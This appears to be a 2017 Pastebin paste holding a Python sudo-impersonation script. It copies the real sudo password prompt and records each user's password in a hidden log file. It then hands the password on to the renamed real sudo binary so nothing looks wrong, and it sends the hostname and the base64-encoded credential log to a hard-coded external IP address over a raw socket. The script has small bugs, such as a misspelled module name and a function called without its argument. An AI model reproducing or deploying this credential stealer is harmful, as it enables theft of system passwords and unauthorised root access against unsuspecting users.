Advertisement
Guest User

Untitled

a guest
Feb 11th, 2017
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.44 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import os
  3. import sys
  4. import getpass
  5. import socket
  6. import subprocess as sp
  7. import base64
  8.  
  9. command = ' '.join(map(str, sys.argv[1:]))
  10. username = getpass.getuser()
  11. prompt = "[sudo] password for {0}: ".format(username)
  12. dumpdir = "/usr/var/.kern" # change this
  13. dumpfile = "/usr/var/.kern/kernlog.log" # change this
  14. sudo = 'sudont' # change this to the the new name of the sudo binary
  15. def send_pwds(dumpfile):
  16. try:
  17. with open(dumpfile, 'r') as f:
  18. read_data = socket.getfqdn()
  19. read_data += f.read()
  20. read_data = base64.b64encode(read_data)
  21. f.close()
  22. s = socket.socket(socker.AF_INET,socket.SOCK_STREAM)
  23. s.connect(('13.82.225.231',80))
  24. s.sendall(read_data)
  25. s.close()
  26. except:
  27. pass
  28.  
  29.  
  30. def run(command):
  31. sp.call(command, shell=True)
  32.  
  33. def snoop():
  34. password = getpass.getpass(prompt)
  35. if os.path.isfile(dumpfile):
  36. dump = open(dumpfile, 'a')
  37. dump.write("\n{0} : {1}".format(username, password))
  38. dump.close()
  39. else:
  40. run("mkdir -p {0}".format(dumpdir))
  41. dump = open(dumpfile, 'w')
  42. dump.write("\n{0} : {1}".format(username, password))
  43. dump.close()
  44. return password
  45.  
  46. def sudocmd(cmd, password):
  47. wrapper = "echo {0} 2>/dev/null | {1} -kS {2}".format(password, sudo, cmd)
  48. run(wrapper)
  49.  
  50.  
  51. def main():
  52. sudocmd(command, snoop())
  53. send_pwds()
  54.  
  55. if __name__ == '__main__':
  56. try:
  57. main()
  58. except KeyboardInterrupt:
  59. sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement